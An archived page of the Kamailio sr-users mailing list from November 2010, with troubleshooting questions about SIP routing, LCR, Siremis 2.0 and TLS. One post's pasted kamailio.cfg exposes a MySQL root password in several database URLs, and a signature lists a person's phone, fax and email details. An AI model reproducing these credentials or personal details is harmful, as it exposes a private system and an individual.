- sr-users - kamailio.org

udp_send "Invalid argument"
by Juha Heinanen 04 Nov '10

04 Nov '10

in some of my tests i get the following udp send related errors, when request is t_relayed: Oct 24 11:20:20 test /usr/sbin/sip-proxy[10032]: INFO: Routing initial INVITE <sip:+35892223333@test.fi> to <sip:+35892223333@193.166.3.2;transport=udp> Oct 24 11:20:20 test /usr/sbin/sip-proxy[10032]: ERROR: <core> [udp_server.c:566]: ERROR: udp_send: sendto(sock,0xb2d1f1e8,1190,0,193.166.3.2:5060,16): Invalid argument(22) Oct 24 11:20:20 test /usr/sbin/sip-proxy[10032]: : <core> [udp_server.c:571]: CRITICAL: invalid sendtoparameters one possible reason is the server is bound to localhost and attempts to send to the net Oct 24 11:20:20 test /usr/sbin/sip-proxy[10032]: ERROR: tm [../../forward.h:148]: msg_send: ERROR: udp_send failed Oct 24 11:20:20 test /usr/sbin/sip-proxy[10032]: ERROR: tm [t_fwd.c:1244]: ERROR: t_send_branch: sending request on branch 0 failed $du is set to sip:+35892223333@193.166.3.2;transport=udp and the proxy is listening on many sockets, both 127.0.0.1 and external ip address. any idea what might cause the errors? -- juha

5 8

LCR Question
by Trevor Francis 03 Nov '10

03 Nov '10

I have managed to work my way through the LCR module documentation and added the loadmodule and module parameters. However, I dont know where to add the routing logic that will allow me to add LCR rules and gateways in Siremis and to have Kamailio recognize them. Below is my Kamailio config: Advice? root@u15396663:/var/log# cat /usr/local/etc/kamailio//kamailio.cfg #!KAMAILIO # #!define WITH_MYSQL #!define WITH_AUTH #!define WITH_USRLOCDB #!define WITH_ACCDB #!define WITH_NAT # # Kamailio (OpenSER) SIP Server v3.1 - default configuration script # - web: http://www.kamailio.org # - git: http://sip-router.org # # Direct your questions about this file to: <sr-users(a)lists.sip-router.org> # # Refer to the Core CookBook at http://www.kamailio.org/dokuwiki/doku.php # for an explanation of possible statements, functions and parameters. # # Several features can be enabled using '#!define WITH_FEATURE' directives: # # *** To run in debug mode: # - define WITH_DEBUG # # *** To enable mysql: # - define WITH_MYSQL # # *** To enable authentication execute: # - enable mysql # - define WITH_AUTH # - add users using 'kamctl' # # *** To enable IP authentication execute: # - enable mysql # - enable authentication # - define WITH_IPAUTH # - add IP addresses with group id '1' to 'address' table # # *** To enable persistent user location execute: # - enable mysql # - define WITH_USRLOCDB # # *** To enable presence server execute: # - enable mysql # - define WITH_PRESENCE # # *** To enable nat traversal execute: # - define WITH_NAT # - install RTPProxy: http://www.rtpproxy.org # - start RTPProxy: # rtpproxy -l _your_public_ip_ -s udp:localhost:7722 # # *** To enable PSTN gateway routing execute: # - define WITH_PSTN # - set the value of pstn.gw_ip # - check route[PSTN] for regexp routing condition # # *** To enable database aliases lookup execute: # - enable mysql # - define WITH_ALIASDB # # *** To enable multi-domain support execute: # - enable mysql # - define WITH_MULTIDOMAIN # # *** To enable TLS support execute: # - adjust CFGDIR/tls.cfg as needed # - define WITH_TLS # # *** To enable XMLRPC support execute: # - define WITH_XMLRPC # - adjust route[XMLRPC] for access policy # # *** To enable anti-flood detection execute: # - adjust pike and htable=>ipban settings as needed (default is # block if more than 16 requests in 2 seconds and ban for 300 seconds) # - define WITH_ANTIFLOOD # # *** To enhance accounting execute: # - enable mysql # - define WITH_ACCDB # - add following columns to database #!ifdef ACCDB_COMMENT ALTER TABLE acc ADD COLUMN src_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN src_domain VARCHAR(128) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN dst_ouser VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN dst_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN dst_domain VARCHAR(128) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN src_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN src_domain VARCHAR(128) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN dst_ouser VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN dst_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN dst_domain VARCHAR(128) NOT NULL DEFAULT ''; #!endif ####### Defined Values ######### # *** Value defines - IDs used later in config #!ifdef WITH_MYSQL # - database URL - used to connect to database server by modules such # as: auth_db, acc, usrloc, a.s.o. #!define DBURL "mysql://root:f1n4lh0p@localhost/openser" #!endif #!ifdef WITH_MULTIDOMAIN # - the value for 'use_domain' parameters #!define MULTIDOMAIN 1 #!else #!define MULTIDOMAIN 0 #!endif # - flags # FLT_ - per transaction (message) flags # FLB_ - per branch flags #!define FLT_ACC 1 #!define FLT_ACCMISSED 2 #!define FLT_ACCFAILED 3 #!define FLT_NATS 5 #!define FLB_NATB 6 #!define FLB_NATSIPPING 7 ####### Global Parameters ######### #!ifdef WITH_DEBUG debug=4 log_stderror=yes #!else debug=2 log_stderror=no #!endif memdbg=5 memlog=5 log_facility=LOG_LOCAL0 fork=yes children=4 /* uncomment the next line to disable TCP (default on) */ #disable_tcp=yes /* uncomment the next line to disable the auto discovery of local aliases based on reverse DNS on IPs (default on) */ #auto_aliases=no /* add local domain aliases */ #alias="sip.mydomain.com" /* uncomment and configure the following line if you want Kamailio to bind on a specific interface/port/proto (default bind on all available) */ #listen=udp:10.0.0.10:5060 /* port to listen to * - can be specified more than once if needed to listen on many ports */ port=5060 #!ifdef WITH_TLS enable_tls=yes #!endif ####### Custom Parameters ######### # These parameters can be modified runtime via RPC interface # - see the documentation of 'cfg_rpc' module. # # Format: group.id = value 'desc' description # Access: $sel(cfg_get.group.id) or @cfg_get.group.id # #!ifdef WITH_PSTN # PSTN GW Routing # # - pstn.gw_ip: valid IP or hostname as string value, example: # pstn.gw_ip = "10.0.0.101" desc "My PSTN GW Address" # # - by default is empty to avoid misrouting pstn.gw_ip = "" desc "PSTN GW Address" #!endif ####### Modules Section ######## # set paths to location of modules #!ifdef LOCAL_TEST_RUN mpath="modules_k:modules" #!else mpath="/usr/local/lib/kamailio/modules_k/:/usr/local/lib/kamailio/modules/" #!endif #!ifdef WITH_MYSQL loadmodule "db_mysql.so" #!endif loadmodule "mi_fifo.so" loadmodule "kex.so" loadmodule "tm.so" loadmodule "tmx.so" loadmodule "sl.so" loadmodule "rr.so" loadmodule "pv.so" loadmodule "maxfwd.so" loadmodule "usrloc.so" loadmodule "registrar.so" loadmodule "textops.so" loadmodule "siputils.so" loadmodule "xlog.so" loadmodule "sanity.so" loadmodule "ctl.so" loadmodule "mi_rpc.so" loadmodule "acc.so" loadmodule "mi_datagram.so" loadmodule "rtimer.so" loadmodule "sqlops.so" loadmodule "cfgutils.so" # ----- LCR ----- loadmodule "lcr.so" #!ifdef WITH_AUTH loadmodule "auth.so" loadmodule "auth_db.so" #!ifdef WITH_IPAUTH loadmodule "permissions.so" #!endif #!endif #!ifdef WITH_ALIASDB loadmodule "alias_db.so" #!endif #!ifdef WITH_MULTIDOMAIN loadmodule "domain.so" #!endif #!ifdef WITH_PRESENCE loadmodule "presence.so" loadmodule "presence_xml.so" #!endif #!ifdef WITH_NAT loadmodule "nathelper.so" loadmodule "rtpproxy.so" #!endif #!ifdef WITH_TLS loadmodule "tls.so" #!endif #!ifdef WITH_ANTIFLOOD loadmodule "htable.so" loadmodule "pike.so" #!endif #!ifdef WITH_XMLRPC loadmodule "xmlrpc.so" #!endif # ----------------- setting module-specific parameters --------------- # ----- mi_fifo params ----- modparam("mi_fifo", "fifo_name", "/tmp/kamailio_fifo") # ----- tm params ----- # auto-discard branches from previous serial forking leg modparam("tm", "failure_reply_mode", 3) # default retransmission timeout: 30sec modparam("tm", "fr_timer", 30000) # default invite retransmission timeout after 1xx: 120sec modparam("tm", "fr_inv_timer", 120000) # ----- rr params ----- # add value to ;lr param to cope with most of the UAs modparam("rr", "enable_full_lr", 1) # do not append from tag to the RR (no need for this script) modparam("rr", "append_fromtag", 0) # ----- registrar params ----- modparam("registrar", "method_filtering", 1) /* uncomment the next line to disable parallel forking via location */ # modparam("registrar", "append_branches", 0) /* uncomment the next line not to allow more than 10 contacts per AOR */ #modparam("registrar", "max_contacts", 10) # ----- acc params ----- /* what special events should be accounted ? */ modparam("acc", "early_media", 0) modparam("acc", "report_ack", 0) modparam("acc", "report_cancels", 0) /* by default ww do not adjust the direct of the sequential requests. if you enable this parameter, be sure the enable "append_fromtag" in "rr" module */ modparam("acc", "detect_direction", 0) /* account triggers (flags) */ modparam("acc", "log_flag", FLT_ACC) modparam("acc", "log_missed_flag", FLT_ACCMISSED) modparam("acc", "log_extra", "src_user=$fU;src_domain=$fd;dst_ouser=$tU;dst_user=$rU;dst_domain=$rd") modparam("acc", "failed_transaction_flag", FLT_ACCFAILED) /* enhanced DB accounting */ #!ifdef WITH_ACCDB modparam("acc", "db_flag", FLT_ACC) modparam("acc", "db_missed_flag", FLT_ACCMISSED) modparam("acc", "db_url", DBURL) modparam("acc", "db_extra", "src_user=$fU;src_domain=$fd;dst_ouser=$tU;dst_user=$rU;dst_domain=$rd;src_ip=$si") #!endif # ----- usrloc params ----- /* enable DB persistency for location entries */ #!ifdef WITH_USRLOCDB modparam("usrloc", "db_url", DBURL) modparam("usrloc", "db_mode", 2) modparam("usrloc", "use_domain", MULTIDOMAIN) #!endif # ----- auth_db params ----- #!ifdef WITH_AUTH modparam("auth_db", "db_url", DBURL) modparam("auth_db", "calculate_ha1", yes) modparam("auth_db", "password_column", "password") modparam("auth_db", "load_credentials", "") modparam("auth_db", "use_domain", MULTIDOMAIN) # ----- permissions params ----- #!ifdef WITH_IPAUTH modparam("permissions", "db_url", DBURL) modparam("permissions", "db_mode", 1) #!endif #!endif # ----- alias_db params ----- #!ifdef WITH_ALIASDB modparam("alias_db", "db_url", DBURL) modparam("alias_db", "use_domain", MULTIDOMAIN) #!endif # ----- domain params ----- #!ifdef WITH_MULTIDOMAIN modparam("domain", "db_url", DBURL) # use caching modparam("domain", "db_mode", 1) # register callback to match myself condition with domains list modparam("domain", "register_myself", 1) #!endif #!ifdef WITH_PRESENCE # ----- presence params ----- modparam("presence", "db_url", DBURL) # ----- presence_xml params ----- modparam("presence_xml", "db_url", DBURL) modparam("presence_xml", "force_active", 1) #!endif #!ifdef WITH_NAT # ----- rtpproxy params ----- modparam("rtpproxy", "rtpproxy_sock", "udp:127.0.0.1:7722") # ----- nathelper params ----- modparam("nathelper", "natping_interval", 30) modparam("nathelper", "ping_nated_only", 1) modparam("nathelper", "sipping_bflag", FLB_NATSIPPING) modparam("nathelper", "sipping_from", "sip:pinger@finalhop.net<sip%3Apinger(a)finalhop.net> ") # params needed for NAT traversal in other modules modparam("nathelper|registrar", "received_avp", "$avp(RECEIVED)") modparam("usrloc", "nat_bflag", FLB_NATB) #!endif #!ifdef WITH_TLS # ----- tls params ----- modparam("tls", "config", "/usr/local/etc/kamailio/tls.cfg") #!endif #!ifdef WITH_ANTIFLOOD # ----- pike params ----- modparam("pike", "sampling_time_unit", 2) modparam("pike", "reqs_density_per_unit", 16) modparam("pike", "remove_latency", 4) # ----- htable params ----- # ip ban htable with autoexpire after 5 minutes modparam("htable", "htable", "ipban=>size=8;autoexpire=300;") #!endif #!ifdef WITH_XMLRPC # ----- xmlrpc params ----- modparam("xmlrpc", "route", "XMLRPC"); modparam("xmlrpc", "url_match", "^/RPC") #!endif # ----- Mi_Datagram ----- modparam("mi_datagram", "socket_name", "udp:127.0.0.1:8033") # ----- Charts ----- modparam("rtimer", "timer", "name=tst;interval=300;mode=1;") modparam("rtimer", "exec", "timer=tst;route=STATS") modparam("sqlops","sqlcon", "ca=>mysql://root:f1n4lh0p@localhost/openser") # ----- LCR ----- modparam("lcr","db_url", "mysql://root:f1n4lh0p@localhost/openser") modparam("lcr","lcr_gw_table","lcr_gw") modparam("lcr","id_column", "id") modparam("lcr","lcr_id_column", "lcr_id") modparam("lcr","tag_column","tag") modparam("lcr","weight_column","gw_weight") modparam("lcr","flags_column","flags") modparam("lcr","gw_name_column","gw_name") modparam("lcr","ip_addr_column","ip_addr") modparam("lcr","port_column","port") modparam("lcr","params_column", "params") modparam("lcr","hostname_column","hostname") modparam("lcr","uri_scheme_column","uri_scheme") modparam("lcr","strip_column","strip") modparam("lcr","transport_column","transport") modparam("lcr","tag_column", "tag") modparam("lcr","defunct_column", "defunct") modparam("lcr","lcr_rule_table","lcr_rule") modparam("lcr","prefix_column","prefix") modparam("lcr","from_uri_column","from_uri") modparam("lcr","priority_column","priority") modparam("lcr","stopper_column", "stopper") modparam("lcr","enabled_column", "enabled") modparam("lcr","lcr_rule_target_table", "lcr_rule_target") modparam("lcr", "rule_id_column", "rule_id") modparam("lcr", "gw_id_column", "gw_id") modparam("lcr", "priority_column", "priority") modparam("lcr","weight_column", "weight") modparam("lcr", "lcr_count", 1) modparam("lcr","gw_uri_avp", "$avp(i:709)") modparam("lcr","ruri_user_avp", "$avp(i:500)") modparam("lcr", "flags_avp", "$avp(i:712)") modparam("lcr", "defunct_capability", 0) modparam("lcr", "lcr_id_avp", "$avp(s:lcr_id_avp)") modparam("lcr", "defunct_gw_avp", "$avp(s:defunct_gw_avp)") modparam("lcr", "lcr_rule_hash_size", 128) modparam("lcr", "lcr_gw_count", 128) modparam("lcr", "fetch_rows", 1024) ####### Routing Logic ######## # Main SIP request routing logic # - processing of any incoming SIP request starts with this route route { # per request initial checks route(REQINIT); # NAT detection route(NAT); # handle requests within SIP dialogs route(WITHINDLG); ### only initial requests (no To tag) # CANCEL processing if (is_method("CANCEL")) { if (t_check_trans()) t_relay(); exit; } t_check_trans(); # authentication route(AUTH); # record routing for dialog forming requests (in case they are routed) # - remove preloaded route headers remove_hf("Route"); if (is_method("INVITE|SUBSCRIBE")) record_route(); # account only INVITEs if (is_method("INVITE")) { setflag(FLT_ACC); # do accounting } # dispatch requests to foreign domains route(SIPOUT); ### requests for my local domains # handle presence related requests route(PRESENCE); # handle registrations route(REGISTRAR); if ($rU==$null) { # request with no Username in RURI sl_send_reply("484","Address Incomplete"); exit; } # dispatch destinations to PSTN route(PSTN); # user location service route(LOCATION); route(RELAY); } route[RELAY] { #!ifdef WITH_NAT if (check_route_param("nat=yes")) { setbflag(FLB_NATB); } if (isflagset(FLT_NATS) || isbflagset(FLB_NATB)) { route(RTPPROXY); } #!endif /* example how to enable some additional event routes */ if (is_method("INVITE")) { #t_on_branch("BRANCH_ONE"); t_on_reply("REPLY_ONE"); t_on_failure("FAIL_ONE"); } if (!t_relay()) { sl_reply_error(); } exit; } # Per SIP request initial checks route[REQINIT] { #!ifdef WITH_ANTIFLOOD # flood dection from same IP and traffic ban for a while # be sure you exclude checking trusted peers, such as pstn gateways # - local host excluded (e.g., loop to self) if(src_ip!=myself) { if($sht(ipban=>$si)!=$null) { # ip is already blocked xdbg("request from blocked IP - $rm from $fu (IP:$si:$sp)\n"); exit; } if (!pike_check_req()) { xlog("L_ALERT","ALERT: pike blocking $rm from $fu (IP:$si:$sp)\n"); $sht(ipban=>$si) = 1; exit; } } #!endif if (!mf_process_maxfwd_header("10")) { sl_send_reply("483","Too Many Hops"); exit; } if(!sanity_check("1511", "7")) { xlog("Malformed SIP message from $si:$sp\n"); exit; } } # Handle requests within SIP dialogs route[WITHINDLG] { if (has_totag()) { # sequential request withing a dialog should # take the path determined by record-routing if (loose_route()) { if (is_method("BYE")) { setflag(FLT_ACC); # do accounting ... setflag(FLT_ACCFAILED); # ... even if the transaction fails } route(RELAY); } else { if (is_method("SUBSCRIBE") && uri == myself) { # in-dialog subscribe requests route(PRESENCE); exit; } if ( is_method("ACK") ) { if ( t_check_trans() ) { # no loose-route, but stateful ACK; # must be an ACK after a 487 # or e.g. 404 from upstream server t_relay(); exit; } else { # ACK without matching transaction ... ignore and discard exit; } } sl_send_reply("404","Not here"); } exit; } } # Handle SIP registrations route[REGISTRAR] { if (is_method("REGISTER")) { if(isflagset(FLT_NATS)) { setbflag(FLB_NATB); # uncomment next line to do SIP NAT pinging ## setbflag(FLB_NATSIPPING); } if (!save("location")) sl_reply_error(); exit; } } # USER location service route[LOCATION] { #!ifdef WITH_ALIASDB # search in DB-based aliases alias_db_lookup("dbaliases"); #!endif if (!lookup("location")) { switch ($rc) { case -1: case -3: t_newtran(); t_reply("404", "Not Found"); exit; case -2: sl_send_reply("405", "Method Not Allowed"); exit; } } # when routing via usrloc, log the missed calls also if (is_method("INVITE")) { setflag(FLT_ACCMISSED); } } # Presence server route route[PRESENCE] { if(!is_method("PUBLISH|SUBSCRIBE")) return; #!ifdef WITH_PRESENCE if (!t_newtran()) { sl_reply_error(); exit; }; if(is_method("PUBLISH")) { handle_publish(); t_release(); } else if( is_method("SUBSCRIBE")) { handle_subscribe(); t_release(); } exit; #!endif # if presence enabled, this part will not be executed if (is_method("PUBLISH") || $rU==$null) { sl_send_reply("404", "Not here"); exit; } return; } # Authentication route route[AUTH] { #!ifdef WITH_AUTH if (is_method("REGISTER")) { # authenticate the REGISTER requests (uncomment to enable auth) if (!www_authorize("$td", "subscriber")) { www_challenge("$td", "0"); exit; } if ($au!=$tU) { sl_send_reply("403","Forbidden auth ID"); exit; } } else { #!ifdef WITH_IPAUTH if(allow_source_address()) { # source IP allowed return; } #!endif # authenticate if from local subscriber if (from_uri==myself) { if (!proxy_authorize("$fd", "subscriber")) { proxy_challenge("$fd", "0"); exit; } if (is_method("PUBLISH")) { if ($au!=$tU) { sl_send_reply("403","Forbidden auth ID"); exit; } } else { if ($au!=$fU) { sl_send_reply("403","Forbidden auth ID"); exit; } } consume_credentials(); # caller authenticated } else { # caller is not local subscriber, then check if it calls # a local destination, otherwise deny, not an open relay here if (!uri==myself) { sl_send_reply("403","Not relaying"); exit; } } } #!endif return; } # Caller NAT detection route route[NAT] { #!ifdef WITH_NAT force_rport(); if (nat_uac_test("19")) { if (method=="REGISTER") { fix_nated_register(); } else { fix_nated_contact(); } setflag(FLT_NATS); } #!endif return; } # RTPProxy control route[RTPPROXY] { #!ifdef WITH_NAT if (is_method("BYE")) { unforce_rtp_proxy(); } else if (is_method("INVITE")){ force_rtp_proxy(); } if (!has_totag()) add_rr_param(";nat=yes"); #!endif return; } # Routing to foreign domains route[SIPOUT] { if (!uri==myself) { append_hf("P-hint: outbound\r\n"); route(RELAY); } } # PSTN GW routing route[PSTN] { #!ifdef WITH_PSTN # check if PSTN GW IP is defined if (strempty($sel(cfg_get.pstn.gw_ip))) { xlog("SCRIPT: PSTN rotuing enabled but pstn.gw_ip not defined\n"); return; } # route to PSTN dialed numbers starting with '+' or '00' # (international format) # - update the condition to match your dialing rules for PSTN routing if(!($rU=~"^(\+|00)[1-9][0-9]{3,20}$")) return; # only local users allowed to call if(from_uri!=myself) { sl_send_reply("403", "Not Allowed"); exit; } $ru = "sip:" + $rU + "@" + $sel(cfg_get.pstn.gw_ip); route(RELAY); exit; #!endif return; } # XMLRPC routing #!ifdef WITH_XMLRPC route[XMLRPC] { # allow XMLRPC from localhost if ((method=="POST" || method=="GET") && (src_ip==127.0.0.1)) { # close connection only for xmlrpclib user agents (there is a bug in # xmlrpclib: it waits for EOF before interpreting the response). if ($hdr(User-Agent) =~ "xmlrpclib") set_reply_close(); set_reply_no_connect(); dispatch_rpc(); exit; } send_reply("403", "Forbidden"); exit; } #!endif # Sample branch router branch_route[BRANCH_ONE] { xdbg("new branch at $ru\n"); } # Sample onreply route onreply_route[REPLY_ONE] { xdbg("incoming reply\n"); #!ifdef WITH_NAT if ((isflagset(FLT_NATS) || isbflagset(FLB_NATB)) && status=~"(183)|(2[0-9][0-9])") { force_rtp_proxy(); } if (isbflagset("6")) { fix_nated_contact(); } #!endif } # Siremis Charts route[STATS] { sql_query("ca", "insert into statistics (time_stamp,shm_used_size,shm_real_used_size," "shm_max_used_size,shm_free_used_size,ul_users,ul_contacts) values ($Ts," "$stat(used_size),$stat(real_used_size),$stat(max_used_size)," "$stat(free_size),$stat(location-users),$stat(location-contacts))", "ra"); } # Sample failure route failure_route[FAIL_ONE] { #!ifdef WITH_NAT if (is_method("INVITE") && (isbflagset(FLB_NATB) || isflagset(FLT_NATS))) { unforce_rtp_proxy(); } #!endif if (t_is_canceled()) { exit; } # uncomment the following lines if you want to block client # redirect based on 3xx replies. ##if (t_check_status("3[0-9][0-9]")) { ##t_reply("404","Not found"); ## exit; ##} # uncomment the following lines if you want to redirect the failed # calls to a different new destination ##if (t_check_status("486|408")) { ## sethostport("192.168.2.100:5060"); ## append_branch(); ## # do not set the missed call flag again ## t_relay(); ##} } root@u15396663:/var/log#

1 0

Connection tests
by Olle E. Johansson 03 Nov '10

03 Nov '10

Hello friends, Is there any way from the outside (like from MI) I can check the existing TCP/TLS connections? Can I drop them somehow? /O

3 2

buffer overflow
by Maw Zin Tun - Real Telekom 03 Nov '10

03 Nov '10

Hi List, Any idea how to correct this error ? Nov 3 15:01:18 s15391037 /usr/local/kamailio-3.0/sbin/kamailio[27812]: ERROR: <core> [pvapi.c:967]: no more space for text [84] Nov 3 15:01:18 s15391037 /usr/local/kamailio-3.0/sbin/kamailio[27812]: ERROR: <core> [pvapi.c:995]: buffer overflow -- increase the buffer size... Nov 3 15:01:18 s15391037 /usr/local/kamailio-3.0/sbin/kamailio[27812]: ERROR: sqlops [sql_api.c:204]: cannot print the sql query Thanks, Maw Tun Real Telekom

2 1

DoS on Kamailio
by Bernhard Suttner 03 Nov '10

03 Nov '10

Hi, is there a Kamailio module to prevent DoS Attacks like SIP Register Scanners? I know, that there is a way to implement that with Fail2Ban and xlog but it would be nice to have a "pure" Kamailio solution for that? Any idea is appreciated. Best regards, Bernhard Suttner

3 2

Siremis V2.0.0 Released
by Elena-Ramona Modroiu 03 Nov '10

03 Nov '10

Hi, Siremis v2.0.0 is out – the web management interface for Kamailio (Openser) v3.1.0 and SIP Express Router (SER). This is a major release, with countless improvements and new features since v1.x series, among them: * major re-factoring of web interface * better accessibility * simplified menu structure * completely new look * dashboard with the map of all available tools * developed on top of Cubi and PHPOpenBiz v2.4 frameworks * web installation wizard * added new modules: xcap, dialog, new lcr * usage of separate database for siremis itself * management of users that can login to siremis * management of menu can be done from web interface * building Apache conf and htaccess file can be done by Makefie * charts to monitor location transport layers Step by step installation tutorial, screenshots and demo are available on the web at: * Installation Tutorial - http://asipto.com/u/6 * Screenshots - http://asipto.com/u/7 * Web Demo - http://asipto.com/u/8 Siremis is used during Kamailio Advanced Training classes for management of SIP server, a good opportunity to learn about Siremis itself, next locations are: * Kamailio Advanced Training for Carrier Services, November 22-25, 2010, Berlin, Germany (http://asipto.com/u/kat) * Kamailio Advanced Training for Carrier Services, January 24-26, 2010, Irvine, CA, USA (http://asipto.com/u/katu) More details about Siremis project are available at: * http://siremis.asipto.com Regards, Ramona

3 6

Latest Siremis build problem
by Trevor Francis 03 Nov '10

03 Nov '10

Not Found The requested URL /siremis/system/general_default was not found on this server. Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch Server at 74.208.174.183 Port 80 I have tested this on both Firefox and Safari.

2 1

using tls from modules_s instead of core
by Jijo 02 Nov '10

02 Nov '10

Hi all. What changes i have to make in the build to use tls from modules_s instead from core modules. Thanks Jijo

2 1

loop through variables
by Bernhard Suttner 02 Nov '10

02 Nov '10

Hi, I want something like that: # define some router to use later in the script (global section) Mod_param(router(1), "10.10.10.1") mod_param(router(2), "10.10.10.2") mod_param(router(3), "10.10.10.3") Mod_param(router_count, "3") within the different routes I want to loop through the routers like that: $var(i) while($(var(i) < $var(router_count)) { if ($var(router($var(i)) == src_ip") { .. do something } } Is that somehow possible? Any hint or idea is appreciated! Best regards, Bernhard Suttner

5 11

Question about the Q-value.
by Kosilov Fedor 02 Nov '10

02 Nov '10

Hello, everybody! As I understand, the Q-value must be set by a client-side device. We use mainly Linksys SPA2102, I have searched through the web interface of this device but have not found where this value should be set. Is this parameter not supported by simple SOHO devices? Or have I misunderstood something?

3 2

siremis 2.0 and Captcha issues !
by X- x -X 02 Nov '10

02 Nov '10

Hi all, Is anyone else is also having problems in seeing captcha while logging in http://myhost.mydomain/siremis/index.php/user/login<http://192.168.90.125/siremis/index.php/user/login> (during installation, I haven't been able to login since Im not able to see any image. just the image reference thing) I've tried firefox, chome & opera (all with flash plugins installed & of-course simple images also show fine) Is there a way I can disable them. Seem like these 2 files are driving the whole captch show /var/www/siremis-2.0.0/siremis/bin/antispam_image.php /var/www/siremis-2.0.0/siremis/modules/user/form/Antispam.php Are there any distro version specific libraries required. Im trying the whole thing on debian lenny. Cheers -- X

2 2

SMS module not found parameter.
by peter_green lion 02 Nov '10

02 Nov '10

hi all, i am a new bie in kamailio. i use SMS module to send message to GSM net work. my kamailio.cfg is : modparam("sms", "modems", "wavecom[d=/dev/ttyS;c=+84900000022;b=57600; m=new;l=20]") modparam("sms", "networks", "D1[m=10]; d2[m=10]") modparam("sms", "links", "wavecom[D1;d2]") modparam("sms", "default_net", "localhost") modparam("sms", "domain_str", "D1.d2") modparam("sms", "max_sms_parts", 10) modparam("sms", "use_contact", 1) modparam("sms", "sms_report_type", 1) if(method == "MESSAGE"){ if(has_body("text/plain")){ sms_send_msg_to_net("D1"); } } but when i start kamailio the log show : Oct 25 06:28:26 localhost kamailio: ERROR: <core> [modparam.c:143]: set_mod_param_regex: parameter <domain_str> not found in module <sms> Oct 25 06:28:26 localhost kamailio: : <core> [cfg.y:3333]: parse error in config file /usr/local/etc/kamailio/kamailio.cfg, line 173, column 42: Can't set module parameter please help to configure it correct. i use wavecom modem and some infomation: baudrate=57600 c=+84900000022 ip server:192.168.1.100 modem connect with server via com1 (/dev/ttyS0) and kamailio version 3.0.2 thanks for help me. Peter Green

2 3

Dead Charts in Siremis 2.0
by Trevor Francis 02 Nov '10

02 Nov '10

I managed to get the SHM chart working by manually adding the field "random" inside the table "statistics." However, the Charts "Load Charts" and "TM Charts" gave me "Internal System Errors" unless I add the fields tm_active, rcv_req_diff, fwd_req_diff, and 2xx_trans_diff to the statistics table in mysql. I am not sure if these statistics are being updated, because my charts dont appear to be displaying information. Can anyone speak to what is going on here? TGF

2 1

Kamalio 3.1, Siremis 2.0 Problem
by Trevor Francis 02 Nov '10

02 Nov '10

I am running into the following errors: /usr/local/sbin/kamailio[6774]: ERROR: db_mysql [km_dbase.c:120]: driver error on query: Unknown column 'random' in 'field list' /usr/local/sbin/kamailio[6774]: ERROR: <core> [db_query.c:130]: error while submitting query /usr/local/sbin/kamailio[6774]: ERROR: sqlops [sql_api.c:217]: cannot do the query I believe it is preventing my LCR from working properly.

2 1

New Gateway Configuration
by Trevor Francis 01 Nov '10

01 Nov '10

My final question/comment for the day, I promise. I am used to using Siremis 1.x or configuring gateways. We are testing a new box on Kam 3.1 and Siremis 2.0. Previously to add an external LCR gateway, I would plop in the gateway name, group id, and tag to the LCR Gateway section and create an LCR rule with the LCR ID, Group ID, Prefix, and Priority that points to the LCR gateway that I created and I could fly straight. Since there are new attributes in 3.1 and in Siremis, how does the new configuration look? I have successfully called from softphone subscriber to softphone subscriber with no issues, but cannot get the LCR to allow me to dial beyond my internal network. Ideas? TGF

1 0

Kamailio 3.1, Siremis 2.0
by Trevor Francis 01 Nov '10

01 Nov '10

I am running into the following errors: /usr/local/sbin/kamailio[6774]: ERROR: db_mysql [km_dbase.c:120]: driver error on query: Unknown column 'random' in 'field list' /usr/local/sbin/kamailio[6774]: ERROR: <core> [db_query.c:130]: error while submitting query /usr/local/sbin/kamailio[6774]: ERROR: sqlops [sql_api.c:217]: cannot do the query I believe it is preventing my LCR from working properly. -- Trevor G. Francis Managing Member trevor.francis(a)tgrahamcapital.com Ph. +1 888.616.0662 Fx. +1 214.722.1318 P.O Box 54771 Oklahoma City, OK 73154 MSN: trevor.francis(a)fiberhaus.com Personal emails should be addressed to: tfrancis(a)fas.harvard.edu --

1 0

Setting up TLS between proxy and authentication server
by Couprie Geoffroy 01 Nov '10

01 Nov '10

Hello, I am testing TLS communication with Kamailio 3.0.2, and I encounter a strange problem. My setup is like this: Client <-UDP-> Proxy server <- TLS with client certificate authentication -> Authentication server 192.168.24.1 192.168.24.128 192.168.24.129 The two servers are instance of Kamailio 3.0.2 When the client sends a REGISTER, the proxy retransmits the message to the authentication server, which sends back a 401 Unauthorized. But it seems the proxy closes the TLS connexion right after forwarding the REGISTER, and doesn't receive the 401 message. The TLS handshake is OK, and the client certificate is required (I didn't add the verification part yet). The REGISTER message goes through TLS, and is received by the authentication server. Then, the proxy sends a TLS alert (Close-notify), and after that message, the authentication server sends back the 401, and the proxy ignores that message. Could it be caused by a timeout? Is there a way to keep the TLS connection opened? Here are the relevant files (I don't like to send mails of more than 100 lines): authentication server configuration: http://pastebin.com/QBmnNc4e authentication server log: http://pastebin.com/uYdHDG5G proxy server configuration: http://pastebin.com/8WPPJBtM proxy server log: http://pastebin.com/JTwJSKtk I am just testing TLS, so I have tried to remove most of the irrelevant parts. Best regards, Geoffroy ________________________________ Ce message et les pi?ces jointes sont confidentiels et r?serv?s ? l'usage exclusif de ses destinataires. Il peut ?galement ?tre prot?g? par le secret professionnel. Si vous recevez ce message par erreur, merci d'en avertir imm?diatement l'exp?diteur et de le d?truire. L'int?grit? du message ne pouvant ?tre assur?e sur Internet, la responsabilit? du groupe Atos Origin ne pourra ?tre recherch?e quant au contenu de ce message. Bien que les meilleurs efforts soient faits pour maintenir cette transmission exempte de tout virus, l'exp?diteur ne donne aucune garantie ? cet ?gard et sa responsabilit? ne saurait ?tre recherch?e pour tout dommage r?sultant d'un virus transmis. This e-mail and the documents attached are confidential and intended solely for the addressee; it may also be privileged. If you receive this e-mail in error, please notify the sender immediately and destroy it. As its integrity cannot be secured on the Internet, the Atos Origin group liability cannot be triggered for the message content. 